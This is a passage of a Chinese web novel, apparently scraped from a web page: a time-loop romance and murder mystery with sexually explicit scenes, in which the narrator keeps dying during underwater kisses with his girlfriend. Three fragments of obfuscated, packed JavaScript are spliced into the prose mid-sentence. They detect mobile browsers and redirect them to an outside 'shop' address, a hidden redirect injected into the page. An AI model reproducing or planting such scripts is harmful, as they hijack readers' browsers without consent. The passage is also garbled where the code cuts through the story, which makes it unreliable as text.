我自己的保时捷SUV,但边叔坚持帮我开车。 不过两分钟,车才刚刚热起来,就已经驶入了我家院子。 我看着电梯发愣,为什么最高只有5层,没有6层楼。你不解我为何发呆,便伸手替我按下了了5。 你反客为主,引着我来到我的卧室,门口挂着铭牌:学渣之家。 我推门进去,房间里还是堆满玩偶手办,贴满签名爱豆海报。 唯独床边的一面墙空着,你的那张巨幅写真确乎是被你亲手撕掉了。 床上却又多了个真人等身的抱枕,很明显底稿用的还是你那张最惹火的写真,桃红的比基尼,侧身躺卧,姿态和笑容极致诱惑。 你嘟嘴佯装生气:“我来晚了,你的床上已经没有我的位置了。” 你都暗示到这个份上了,我再听不懂不是傻子嘛。 我左手勾到自己颈后,捉住我的圆领衫校服的后领,只一秒便将圆领衫从头上扯了下来,随手丢在床上,恰好遮住了那个抱枕。 你艳羡地看着我毫无阻尼的华丽脱衣操作,咕嘟一声,咽了一口口水。 我不无自得,接着动手脱你的校服,行云流水,一气呵成。 喘息甫定,你紧紧抱着我软语呢喃:“我爱你,你还爱我吗?我每天都想你,一天也不想分开,你想我吗?” 这次我选择毫不犹豫地回答:“我爱你。” 我打了个寒战,忽然意识到,这竟然是我记忆中,我第一次向你说出“我爱你”,我或许是太过吝啬于爱的表白了。 但是,我想你吗?在我的记忆中,我们还没有分开过,今天是我们相爱相守,寸步未离的第二天。 你对我的回答不够满意,却忍住没有明说。 你不经意间在我的枕边发现一根黑长直发,拈起来在自己头上比了比,笑容瞬间凝固:“好像除了抱枕上的我,你还邀请过别的女人?” “怎么可能,这肯定是我的头发。”我很坦荡。 你又将手中的头发与我的头发对比,缓缓摇头,脸如秋色肃杀:“不对,也不是你的,你现在还不肯说实话?!” 没法否认,这根头发,确实跟我的头发长度也不一样。 我委屈,我绝对没有别的女人,但一想到自己有一年的记忆空白,便没了自信,只能勉强推断:“这肯定是我理发前掉落的长发,嗯,没错,是剪成鲶鱼须刘海之前的头发。” 你瞧了瞧我枕边放了几天没扔的纸团,好像被我说服了,又好像半信半疑:“你的床没人帮忙收拾吗?今天就信你一回。你以后理发要向我报备。” 好险,这一关算是过了吧。 正好,床头的电话响了,我忙接起:“喂,哪位?” 电话那头传来一个中年男子的声音:“废话,除了你爸我,谁还能为你的事情操心得深更半夜睡不着觉?我这趟优国没白跑,投资移民的事情差不多有眉目了,你伺候好雯佳,别让她生疑。” 我担心你能听到听筒里的声音反而生疑,赶忙小声提醒父亲:“爸,雯佳正好在我身边呢。” 我父亲却提高音量吼道:“你鬼鬼祟祟干什么?!你要是敢得罪雯佳这尊财神爷,看我回去怎么收拾你!” 午餐时,曼姨躲在你身后不断对我挤眉弄眼,我吸取教训,视若无睹。 珍惜生命,远离曼姨。 午餐后,你便困了,时差一直没完全倒过来,十二个时区的差距,正好黑白颠倒。 你的卧室在顶层。你家也是只有五层楼。 我们再次厮磨缠绵后,相拥入眠。 搅人好梦的床头电话按时响了,曼姨通知,下午茶时间到了。 穿好衣服,站起身来,你从床头柜中取出一个天地盖的纸盒塞到我怀里,是白色IPHONE3G,2008年的新款:“祝你生日快乐!记得每天给我打电话!” 好贴心的生日礼物,但是我送你的生日礼物在哪里呢?这可怎么办?幸亏提前一天知道了,还好,还有一整天时间可以准备,好险,我故作镇定:“你怎么这么着急,不是明天我们才过生日吗?” 你抱住我,眼泪夺眶而出:“天迪,你真的失忆了吗?我告诉过你了呀,我爸妈买了一栋海景别墅,作为生日礼物送给我,一定要我明天过去签字。我明天凌晨就要飞了。” 我竟无语一时凝噎。 我们各怀心事来到餐厅时,餐桌上已然摆好了水果点心,我这才注意到,餐桌正中一字排开的几个碟子上的大朵鲜花,其实是洋葱,但不是那种用刀雕刻的厨师手艺,而是实实在在一片片用手剥开的,片片鳞叶如花瓣重重依抱,分明就是绽放的紫红色大朵鲜花。 这得浪费多少时间——和多少眼泪啊。 我对曼姨的敬业油然而生敬意。 曼姨正背靠门框而立,双耳塞着耳机,白色耳机线连着手机,一手拿着粉色小本,一手拿着蓝色水笔,轻锁眉头,认真划拉着什么,单马尾,荷叶边连衣裙,斜阳下曲线夸张起伏的剪影,居然一副很文艺的样子。 餐桌上,两只水晶玻璃杯,英伦风的浮雕花纹是一层层各色花卉,杯中斟满的依然是红茶,杯底依然很多冰块,但是比我印象中明显要少一些,我特意数了数,只有五块,但是上次没注意是几块,所以没法比较。 曼姨又绕到你身后,隔着你对我挤眉弄眼,神情比中午更焦虑,甚至咬起了指甲。我怕你误会,便极力不理会她,专心品味手中的英伦皇室冰红茶。 然而误会不会不到,甚至都不会迟到。 你似乎从我的瞳孔里面,看见了曼姨的独角戏,蓦地一百八十度转头:“曼姨,麻烦扯一根头发给我。” 曼姨做贼心虚吓了一跳,囿于主仆关系,她也只能慌张配合。 你一手捏着曼姨的长发,另一手从坤包中变戏法般抽出另外一根长发,对齐发根放在一起,你的脸色突变,很意外,很不幸,两根头发对上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030613|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一言未发,我噤若寒蝉。 我不知道怎么解释,因为我也不知道真相。 我只觉得这段情节异常荒诞。 你却引而不发,沉着脸转换了话题:“天迪,你有没有发现,今年我们的农历和公历生日只差一天?” 我慌忙推算起来,无奈大脑算力不够,一时算不清楚。 你眼中闪过失望,继续问道:“你还记得去年农历的今天,你第一次在水下壁咚我吗?” 好不容易盼到一个我能回答得上来的问题,我显得过分兴奋:“记得,当然记得,那天你跟今天早上一样,穿着那件桃红色的比基尼。” 你眼神飘忽:“嗯,你的最爱。我们去重温一下那一刻的幸福时光,好吗?” 我的心顿时蹦到了嗓子眼。 一年前的悲剧,会再次上演吗? 如今我有所准备,不会再像上次一样,糊里糊涂幸福死了吧? 在更衣室里,我脱裤子的时候,牛仔裤的屁股口袋里赫然钻出来一个纸角,我抽出来一看,是一张明天魔都浦东飞波士顿洛根国际机场的机票,我会心一笑,年轻人,没想到我还挺靠谱的嘛,点赞。把自己当作礼物送给你,在热恋情侣的眼中,这绝对是最好的生日礼物。我甚至幻想了一下,给自己扎上五彩缎带,出现在你面前时,你惊喜的表情。 嗯,没错,就这么办,暂时保密,明天去机场给你个SURPRISE。 泳池靠海的一侧,我紧张地远眺了或许是最后一眼灰蓝色的大海,深深吸入一口空气,将目光拉回眼下,你略带忧郁的面庞。 你背倚池壁,闭上双眼,一寸一寸,没入水下。 我环抱着你嫩滑的脖颈,追逐者你的红唇,也一寸一寸,沉入水下。 我起初心神不宁,但四片唇一相接,我便很快全身心都被你软香温玉的唇舌吸引,几分钟后,同上次一样的症状又来了,大脑开始缺氧,伴随着快感倍增,肢体麻木。 我猛然醒悟,挣扎着试图站直身体,却惊觉力不从心。 你突然发力推我,同时挺直了身躯。 这时,我十指紧扣环抱着你的双手,已从你的脖颈被动滑落至你的后背,却本能地就是不肯放开。 你继续狠劲推我,一次,再一次,我终于松开了双手。至此,我的大脑已经基本昏迷,双手却仿佛获得了自主的自由,有了自己求生的意志,藤蔓一般继续缠绕你的身体,两手的指甲,竟在你的腋下,留下几道血红的划痕。 我仰面倒下时,听到你说的最后一句话依然是: “你不爱我!你不爱我!他们说你对我的爱根本不是真的!!!” 我彻底堕入了黑暗,堕入了地狱。 无边无际的黑暗、死寂与彻骨的寒冷,这是更深的地狱吗? 知觉和意识再次弥散,归零。 以上是我第二次死在你的手上。 我对你的爱明明是真心实意的,你为什么会怀疑我的爱呢? 我好后悔,或许我的表白不够热烈。 如果有机会重来,我一定要大声说出,我对你的爱。 你又是因从何事,开始怀疑我的呢? 只为了那一根来历不明的头发吗? 这样的借口会不会太过牵强了呢? 可笑更可悲的是,我还买好了明天与你同飞一个航班的机票,要给你一个生日惊喜。 你为什么不肯给我一个辩白的机会,就要如此草率地杀死我呢? 死不瞑目。 2006年9月8日阴星期五白露 我的农历生日适逢中元节。 记不清从哪一年起,每年农历生日的夜晚,都会有一位自称白无贞的美女姐姐闯入我的梦境,教我巫山神女行云布雨之事。可我一直懵懵懂懂,始终不得要领。 直至一个月前,我十七岁的农历生日那晚,她再度入梦,我这才豁然开窍。 此后的一个月内,我每晚早早上床,她必定准时出现在我的梦境中。 我本以为自此便可与她厮守终生,谁知昨晚,闰七月十五日,一连番酣畅淋漓的云雨之后,她却突然眼泪涟涟:“我要走了。” 我着急起来:“我做错什么了吗?” 她摇摇头:“我住的地方,每年只在中元节放一天假,也只在那一天开门允许出入,只因今年有两次中元,所以才讨了个巧,在你这里盘桓了一整个月的光景,这已经是我今生做的最荒唐的事情了。” 我心不甘,支招道:“是那种管理特别严苛的女校吗?那不如干脆等到明年中元节再回去可以吗?” 她被我的傻话逗得一笑,但笑容转瞬即逝,唯剩叹息摇头,在我追问之下,她才告诉我:“我今岁已补了无常之缺,节后须每日应卯当值,再无自由之身了。” 我猝不及防,急忙问道:“姐姐此言何意?你我今生再也不能相见了吗?” 她轻轻点了点头。 我伤心欲绝,急切说道:“姐姐救我,今生只要我一息尚存,便不能没了姐姐。” 她点头回应:“你是个聪明的。但恐便只有每年今夜,你来探我了。” 我连忙追问:“今夜?中元之夜吗?如何去探你?” 她面露犹豫之色,在我反复追问之下,才讷讷道:“除非……” 我待要再度追问,却幡然顿悟,惊怖战栗。 她见我这般胆怯,凄然一笑:“孽缘已经种下,你若不来,你也会来。”说罢挣脱我的怀抱,飞身飘入漆黑虚空。 我从睡梦中猛地惊醒,一身透汗已然湿透了吊带睡裙,犹自惊魂未定,百思不解。 除非怎样?到底除非怎样?! 4. 第三杀 忘川冰封。彼岸花开。地狱无门。 瑞不忒杠乂复。 混沌的宇宙中,不起眼的角落,一团稀薄的物质高速旋转,凝聚,塑形。 那是我的意识,我不甘心,匆匆忙忙又回来了。 你的一口仙气一注入我的口中,我便急不可待地睁大了双眼。 还好,周围环境似乎变化不大,我急切地将目光投向泳池边的液晶挂钟,完了,2009年9月3日。 我这眼睛一闭一睁,一年就过去了?! 那我真的老了一岁了吗?上一次身体并没有感觉任何异样啊。 跪骑在我身上的你,黑长直发,桃红色的比基尼,灿烂的笑容,一切还是那么完美无瑕,我的青春女神,看不出一丝一毫岁月的痕迹。 你清澈透亮的双眸正惊喜地俯视着我。 我却重新闭上了双眼。 我无法面对你。无法想象女神般纯洁无辜的你,竟是已经杀了我两次的人。 人杀我一次两次,尚可解释是因为我良善,但是,万一如果再杀我第三次呢?! 我虽不及你聪明,但人设也绝非蠢笨。 纠结的是,你同时也是救了我两次的人。。 我不忍质问你。 但也总不能坐以待毙。 我玩过密室逃脱,我从中学到的是,行动前,第一步,必须尽可能地先搜寻更多的信息。 我的大脑超频运转,很快大致有了个自卫反击的行动方案。 你拍拍我的脸颊,戏谑道:“喂喂,天迪,你真昏迷还是假昏迷啊,不会是骗我亲你的吧?” 我重新睁开双眼,打断你的玩笑,郑重其事:“雯佳,我爱你,我得和你好好聊聊。” 你笑容凝固转为讶异,缓缓站起身来:“天迪,你不会是有什么事情瞒着我吧?” 我还是一个鲤鱼打挺便直起了身,外人看不出异样,我自己却略感不似前两次那么流畅丝滑。 我有一点点疲惫,身心俱疲,神情严肃:“雯佳,别胡思乱想,我真有重要的事情跟你说。” 我拉着你快步向别墅走去,果然已经是九月了,花园中大部分植物花期已过,唯见一丛肥硕的美人蕉不服迟暮,高擎着五六个半枯半萎的橘红色花朵,犹风中摇曳挣扎不灭的火炬。 别墅门口还是站着曼姨和边叔,看我的眼神还是那么阴鸷莫测。但是别墅,怎么好像又变小了一圈? 进入别墅,我没换泳装,径直先去看电梯面板,如我推理,还真就只剩下四层了。 难道说,我每次重生,别墅就会少一层楼?按照这么推算,来上个七八次,我们就要住地下室了?来上个二三十次,我们岂不是要一起下地狱了? 当然,最恐怖的事情,我想都不敢想:如果一天老一岁,过一个月,我就会变成老人?再过两个月,我可能就老死了?! 我的人生,正以365倍速播放???!!! 我推开浴室大门,可笑的是,淋浴间也只剩下两个了。 我这次刻意选择没有反锁淋浴间,然而疑似曼姨的人影飘过,却并未进来找我。 我稍加思索便明白了,肯定是因为两个淋浴间紧挨着,而且是毛玻璃隔断,曼姨没办法在不惊动你的情况下与我接触。 突然,周围一黑,隔壁的你失声尖叫,我忙发声安慰你。 我正犹豫要不要过去照看你,灯又重新亮了。 我的一只手上,多了一根小黄瓜。 我哭笑不得,还以为是你的恶作剧,可当我定睛看手中的小黄瓜时,却愣住了。 小黄瓜已经削好了皮,却未削尽,残留的绿色果皮,歪歪扭扭却清晰可辨地组成四个字:小边杀你。 小边?肯定就是边叔了。黄瓜雕字,难免会惜字如金,看不出时态,既可以理解为,之前你杀我实则边叔主谋,甚至操控,也可以理解为,边叔正要杀我,抑或,将要杀我。 我断定,报信的人肯定是曼姨,这手法完美符合她的厨房文艺风。 你在隔壁大呼小叫:“怎么回事啊?天迪,是你干的吗?” 曼姨既然想方设法瞒着你给我报信,不能完全排除,她确实是为我的安全考虑,所以,仓促间,我决定帮她遮掩。 我顺水推舟地说:“亲爱的,不小心按错开关了。” “什么不小心,我看你就又是故意吓唬我,都多大的人了,还玩这种恶作剧,讨厌死了!” 我无能反驳,我的嘴巴,已经被曼姨的文艺小黄瓜堵上了。 我先一步走进更衣室内,却没穿衣服,耐心等你。 你施施然走来,我冷不防一把扯掉了你裹在身上的浴巾,揽住你,并排站到穿衣镜前。 你花容失色,但很快恢复平静,任由我搂着纤腰,陪我一起饶有兴致地欣赏镜中的一对璧人。 人间最美春色,莫过天然青春。 新出浴的两个身体,一样的美若天仙,一样的皮肤白嫩,身材苗条,活像两条刚刚蜕完皮的蛇。 你揶揄地笑道:“你看我们像不像白娘子和小青?” 我一下子就GET到了你的点,我们都很白,但是没有对比就没有伤害,你的白是至真至纯的白,而我虽然也白,却还是比你深了两个色号。我回应道:“岂止像,我们就是,你是白蛇,我是青蛇。” 我从头到脚仔细扫描我和你的每一寸肌肤。 从现在开始,我要牢牢记住身边的每个细节。 乍一看我们还是一样的黑长直,但是,我的发型还是自然长成的,也还保持着一年前的鲶鱼须刘海,而你的发型,看似自然,实则却是修饰得不露痕迹的高级的自然,而且也没了鲶鱼须刘海。 你的腋下没有划痕,算是意料之中吧,如果真的是过去一年了,那确实什么痕迹都该磨灭了。 你娇嗔道:“你好变态,一直盯着我胳肢窝看干嘛?” 我伸手摸了摸她的腋窝:“女神的美真的是零死角,连胳肢窝也这么光洁。” “你真会挑地方夸,废话,早上刚剃的。对吔,你的指甲该剪了吧?去年往我腋下划了那么长的口子,半个多月才好。” 我的目光继续往下扫描,最大的意外,在某处最私密的所在,白无可白,白到发光,我颇为意外:“你居然学老外,剃成了白虎?” 客厅里,曼姨若无其事,又在对着手机念什么经。 今天的果盘是血橙,但不是传统的切瓣,又见曼姨的巧思,是先从蒂落处入手,将橙皮裁成八个花瓣形状,再将橙肉依循原来的瓣膜,一瓣瓣剥离开来,这样一整个血橙便剥成了一朵艳红的鲜花。 橙皮和橙肉的底部,都原样保留着形成一个底座,正好可以用手端着,但是美中不足,这么一大朵橙肉,总不能一口吞下,必然要从中咬开,难免艳红的汁液,鲜血般迸溅四溢。 你咯咯笑我:“吸血鬼来了!”浑然不觉你自己也是一般狼狈。 饮料仍是红茶。每天上午热红茶,下午冰红茶,你得有多爱红茶啊。 我暗示你支开曼姨,然后开门见山,老老实实承认我失忆了。 我当然不至于傻到老老实实说你杀了我。 更何况这其中,也许真有我自己的过错,我更希望能通过自己的努力,避免悲剧的循环。 你将信将疑,但还是配合我,再次讲述了一遍我们的故事。 我们的上一代便将我们指腹为婚,而且我们是同年同月同日出生,失联四年后,我家突然搬进了你家同一个别墅区,我们自然而然成为了最好的玩伴,从幼儿园到小学再到中学,我们都是同班同学,形影不分。 高中毕业后,你考上了优国哈佛,而我只考上了同一城市差好几个档次的东大。我却选择放弃东大,留在魔都上了哈佛魔都分校,打算通过学校三年级的交换生计划,与你在优国哈佛总校重聚。 这两年来,我们争取所有机会相聚,仍是聚少离多。 第一年,我们每个假期都飞到一起共度,连周末都争分夺秒分别一同飞往夏威夷。 第二年,我8月16日生日那天就陪你飞回波士顿,在你爸妈新送你的别墅里,度了一个不是蜜月胜似蜜月的甜腻假期。 我临近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030614|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回国前,游泳时不慎踢折了一根小脚趾头,我便顺势请了一周伤病假,留在优国继续甜蜜。 因祸得福,我仿佛解锁了一项隐藏技能,此后便花式请各种病假飞去优国陪你。 最离谱的是最近这个学期后半段,我因为不断来回倒时差,所以睡眠时间混乱不堪,便索性搞了个睡眠障碍的病历,断断续续请了一个多月病假,一直到放暑假,我才跟你一起飞回魔都。 以上是你口中的我们的故事,第三个版本。 我提的第一个问题就是:今天已经是9月3日了,为什么你还没有回校? 你幽幽回答:“当然是在等你同行,你不会,又要催我先走吧?” 我的第二个问题是:那我,最爱你的我,又为什么没有按照计划,跟你一起去优国哈佛呢? 你错愕地瞪圆水汪汪的大眼睛:“天迪,你也太无耻了吧!我半个暑假都在追问你,你现在反过来问我?!你不会真的失忆了吧?!” 你骂得我无法反驳,因为你说的都是实话。 我真的失忆了。 综合所见所闻推理下来,今年我应该是二十岁,但我的记忆,只有两年中两个不完整的白天。 你继续吧啦吧啦数落我:“是你亲口跟我说的,那个内部交换生计划,只要愿意交钱就行,考试就是走个形式,百分之百的通过率,傻子都能过。你现在怎么解释,你是傻子?还是连傻子都不如?” 这倒说得连我自己也很好奇了,我跟傻子相比,到底孰强孰弱。 我要你陪我回家看看,也许能找到点线索。 边叔提议帮我开车。我想到曼姨刻字的小黄瓜,神经顿时紧绷,一口红茶差点呛住,忙不迭摆手。 我仔细观察了一下边叔。虽然黑瘦,但不失干净利落,黑色制服,胸口衣袋插一支钢笔,面目正气凛然,不像坏人,倒有几分像李连杰的□□保镖。 但是毕竟性命攸关,还是小心为上吧。 你却淡淡地一票否决:“还是让边叔开吧,我信不过你的车技。” 边叔去车库开车,我们在匝道上等候。 无聊时刻,你突然伸出一只脚摆在我脚前,我不解,你又用力跺了跺脚,我这才看明白,原来你一只脚鞋带松开了。 我忙不迭弯腰半蹲下,两边鞋带交叉相压,工工整整地系了一个蝴蝶结,买一送一,我顺手将你另外一只鞋的鞋带也打散了,重新按我自认为最牢固的系鞋带方式系好,我没起身,继续半蹲着欣赏我的作品,自我感觉良好,等着你的夸奖。 正在这时,我忽然听到身后汽车引擎震耳轰鸣,我本能地要站起身来回头查看,身子还未站直,你便猛然双手一把抱住我,将我抱着拉到你的身侧,我两脚踉跄,忙也抱住你,才没有摔倒。 紧接着便是一阵刺耳的刹车声。 我扭头看时,只见我的路虎SUV不偏不倚,正好停在了我刚才半蹲着的位置上。换而言之,只在毫厘之间,我可能已经被我自己的车,撞死在我刚才半蹲着的位置。 边叔忙下车跑过来查看,神色紧张严肃:“对不起,我不是故意的,刚才正好接到卓总一个电话……” 你怒目圆睁:“边永沙,你疯了吗?!你这是谋杀!!!” 我愤怒到语无伦次:“我强烈抗议!我绝不接受!” 且不论是非对错,我反正绝对不敢再让边叔帮我们开车了。 我开车虽然比边叔慢一点,走小区内道路,也不过三分多钟就从你家开到了我家。 年轻人就是容易冲动,进入我的卧室,门一关,无须明示,两人不免又是宽衣解带,颠鸾倒凤。 释放完过剩的精力,我才开始在自己的卧室里到处翻箱倒柜,每个犄角旮旯都不放过,活像个入室的小偷,试图搜寻有助于查明真相的一切信息。 你也百无聊赖地陪我随便翻翻,不一会儿,你发出一声尖叫,我忙过去查看,只见你手中呼啦啦扇着一张A4纸,白皙的面颊气得绯红一片。 我抓过来一看,原来是一张内部交换生考试的通知。 破案了!!! 5. 第三杀续 哈佛的这个内部交换生考试,只要考,傻子都能过,这不假。但问题在于,有个傻子压根本就没去考! 考试日期是6月30日,那时我还在优国陪你黑白颠倒呢,全不知情,完美错过。 你被我气得哭笑不得。我自知理亏,只得使尽浑身解数,拼命安抚你。 午餐时间,你任凭我千般体贴、万般殷勤,都对我爱理不理。连曼姨都察觉出了我们的异样,不过她似乎更满意我们现在的相处状态,不会太腻歪。 小情侣就没有隔夜仇,其中看得见的关键词是“夜”,看不见的关键词其实是“床”。 午休时,只凭着你一张闺床,我们已经和好如初,如胶似漆了。 你甚至还解锁了一个新姿势。 我早该想得到的,你已经在寡廉鲜耻的优国,陶冶了两年了,你学坏了,也更强了。 你竟然将我的脸埋在了你的花园。 一朵花的花园,只有花没有叶的玫瑰,我像一个敬业的园丁,心无旁骛,埋头耕耘。 电话响了三遍,我们却都不愿接听,任凭它就这样响着,错过了下午茶。 终于,我们精疲力竭,沉沉睡去。 电话再次响起时,已经是曼姨晚餐的通知,语气生硬冰冷,一听便知,她很不满我们两个主子的荒淫无度。 窗外天色已暗。 “我明天就回学校,再拖下去也没什么意义了。”你一边穿衣服,一边慵懒地说着,“人只有在乎的东西,才会努力去得到和守护,不在乎的东西,早晚会失去。” 我保持着低头认罪的姿势,支支吾吾不敢面对你。 你丢给我一个白卡纸的方正盒子:“送给你的,最新的IPHONE3GS,记得每天给我打电话。” 我压力山大地收下你的礼物,犯了弥天大错,还有礼收,更心虚的是,我自己还没礼可还。 “人家水果公司一年一款新手机,你也要多努力,人都应该一年比一年更好,不是吗?”你语气恳切,接着又说,“你把之前那部3G的还给我吧,我想转送给曼姨。你先把自己的数据迁移到新手机上吧。” 我忙操作手机,却意外卡住了。手机没卡住,是我自己卡住了,在我的记忆中压根就没有什么水果密码。慌乱之中,我尝试了几种名字和生日的组合,手机多次提示密码错误,锁定时间越来越长后,我不敢再试了,只能可怜巴巴、无助地抬头看向你。 你一直在一旁冷眼旁观,半真半假地敲打我:“装,继续装。你是有什么秘密不想让我看到吧。启示录可说了,说谎的人,是要下硫磺火湖地狱的。”你在优国都学了些什么歪理邪说啊。 我硬着头皮再试了一次,果然,成功将手机锁死了。 你惊讶地劈手抢过手机,一时吃不准我是故意的,还是真的失忆了。 你跌坐在床沿,双眼紧闭,面色肃杀。 我心虚地试探:“你这是在运什么神功吗?” “别吵,我在大脑里面检索你输入密码过程的影像记录。” 好大一会儿之后,你才重新睁开双眼,信心十足地飞快点按手机屏幕。 见证奇迹的时刻到了,密码校验通过。 其实密码很简单,是:Kiss20070827,那是我们第一次在水底深吻的日子,而且也是我们第一次完全交给对方的日子,但是你并不知道,那也是我记忆中,我第一次重生,又第一次被你杀死的日子。 我们磨蹭了太长时间,桌上的几道菜都有些凉了,曼姨满脸不悦,正要端回厨房翻炒加热,你却伸手拦住:“不用,天热,吃点冷的没关系的。” 菜品很丰富,中西融合但以西式为主,照顾你这两年的口味新趋势。珐琅晶瓷盘碟,银碗玉箸,比午餐更为正式隆重。 意想不到的是,晚餐竟也配冰红茶,我忍不住吐槽:“雯佳,知道你爱喝红茶,可真不知道你这么爱喝冰红茶。” 你翻了个白眼:“没人逼你喝,你喝你的可乐好了,都是二氧化碳废气,喝死你。” 我选择还是乖乖陪你喝吧,省得被你的唾沫星子呛死。 有意思的是,我数了数玻璃杯底的冰块,四个,比上次少放了一个。 你突然惊声尖叫,我循着你的视线一看,落地窗玻璃上贴着一道黑魆魆的人影,一闪而过。 我立马放下碗筷,起身冲出去查看。 果然有一个人影,鬼鬼祟祟,蹲在餐厅窗前的一株桂花树下。 我厉声喝问:“什么人?” 那黑影不慌不忙举手示意,语调轻柔淡定:“是我,边永沙。” “边叔?你在这里做什么?” “方便。”边叔不慌不忙直起身来,侧头整理裤腰,餐厅的灯光从一侧映过来,将他勾画得两边脸一阴一阳。 “方便?这里是厕所吗?” 边叔的声音不冷不热,阴阳怪气:“世上本没有厕所,上的人多了,便成了厕所。” “家里那么多厕所,你偏要跑到桂花树下方便这么浪漫吗?” “不是我要到桂花树下方便,是这丛彼岸花,偏巧长在桂花树下,我自然便在这桂花树下,为彼岸花浇水施肥。” “这花园中的花百种千种,边叔为何独宠这彼岸花?” “能养眼怡情的花何止百种千种,能养身解毒活命的,却只有这一种。” 此时正值金桂含苞未放,幽香暧昧不清,我们两人桂花树下,如此几番一问一答,我步步为营,他半阴不阳,竟然有了几分禅意。 借着灯光和月光,我这才发觉,边叔的脚下,确实有一大丛彼岸花正在怒放,一支支花茎光洁无叶,如根根锋利的箭矢,无情插入大地的身躯,一滩阴湿,似黑土中渗出静脉血的暗红色来,朵朵鲜花,如动脉血艳红,妖冶,摇曳,如火焰,如长舌,如凤爪,我不知何故,只觉透心寒意。 “边叔,你不觉得这彼岸花有一股妖气吗?” “彼岸花乃是佛门轮回接引,何来妖气,只怕病根在你自己,阳气正念不足吧。” 我本是去质问边叔,不料却反被边叔呛了几句,只好悻悻返回餐厅,重新执起碗筷。 你轻轻提议:“天迪,生活还是需要一点仪式感,等你吃完,我们一起去泳池,重温一遍去年今日的浪漫吧。” 轻轻一句,对我却如一声惊雷,我手一抖,刚刚拿起的青玉筷子,砰地跌落在地,两根顷刻脆生生摔成四根。 曼姨忙过来收拾:“我帮你换一副筷子。” 你却摆手示意:“不必了,我们吃完了。” 我现在面临两种选择,一种选择是,跟着感觉走,听你的建议,去泳池与你共赴浪漫,还有一种选择是,听从理智的预警,不去赴这场死亡之约。 我弱弱地说:“今天太晚了吧,现在已经是九月份,都快秋分了,天已经很冷了,水也很凉了,对你身子不好,我们就——别去了吧?” 我的声音越来越小,到最后连自己也听不清自己说了什么。 你向椅背上重重一靠:“嗯,那就不去了。” 我如释重负,你却又淡淡补了一句:“以后都不去了。” 我一听这话,求生欲暴涨,于是画风陡然逆转,我殷勤地表示,其实我对重温水下深吻充满期待,你嗤之以鼻,我三番五次强邀你,你万般推脱不过,才勉为其难同意陪我,并且还追加了一个条件:你累了,不愿意自己走,我必须从别墅抱着你去泳池,否则你还是不去。 这个条件倒也合理,毕竟你被我折腾了一个下午,确实也体力消耗太大了。 哲学家都说了,人不可能在一条河流摔倒两次,我已经失足两次了,总不至于再来第三次吧。边叔说得有点道理,关键还是在自己,必须保持清醒,收敛淫心,坚守正念,屏住阳气。 夜已黑,风已秋,圆月高冷,池水冰凉。 你从我怀里下来,缓步下到池中,背靠池壁立定。 我这才发现,这个泳池比我记忆中小了一圈,对面也不是大海,而是院墙和另外一家别墅。 我心中狐疑,口中念叨出声:“怎么泳池也不是无边际泳池了呢。” 你半真半假讥笑:“只能当你真失忆了。这个户型就没有无边际泳池。你要不满意,就给我买个靠海带无边际泳池的那种户型呗,你爸妈搞互联网高科技的,有钱,别舍不得花啊。” 我用自己的嘴去堵你的嘴。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030615|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你贴着池壁身体向下一滑,躲开了我的偷袭。 猫捉老鼠的游戏再次开始,只是不知道谁是猫,谁是老鼠。 你很快将头沉入了水下。 决战时刻到了,我用尽自己全部肺活量,深深吸入了一口空气,追你入水下。 清澈的池水中,我强迫自己圆睁双眼。唇舌交错,藤缠蛇绕,酥麻,融化,情欲步步侵袭,我的身体寸寸沦陷,但我坚守底线,不能让情欲占据我的大脑。 时间分分秒秒过去。 我死死盯着你。 你紧闭双眼,两腮绯红,尽情享受,全不似我三心二意,也丝毫没有停下来的意思。 我的大脑保持着正常运转,纠结忐忑:你上次害了我,并不代表你这次也一定害我。我开始怀疑,自己是不是以小人之心度君子之腹了,我甚至开始担心,这次先窒息的,会不会是你。 该适可而止了吗?还是再享受一会儿?就一会儿? 时间继续分分秒秒过去。 我开始感觉异样,虽然用力睁着眼,情欲被我挡在了大脑之外,但是一种无以名状的迷离感,却猛然排山倒海一般袭来。 我正觉不妙,你突然睁开了双眼。 我们四目相对,我惊愕恐惧,你双眼含悲,即使在水下,我也能看清你盈眶的热泪。 你毅然决然,伸出手,推向我。 我这才发觉,我周身的肌肉已经全然没有了力气,大脑虽然尚存意志,但已然不足以驱使自己的身体。 这一次,在水下,面对面地,一字一顿,你再次念出了那句悼词。 气泡不断从你口中冒出,翻腾的气泡越来越多,遮蔽了你的面庞,在水下我其实听不清楚你的发声,但哪怕只凭着被气泡断续遮掩的口型,我也能清晰辨认你的每个单字。 “你不爱我!你不爱我!他们说,你对我的爱,根本不!是!真!的!” 我的身体已经完全不受驱使,大脑却仍然残留着最后一丝清醒。 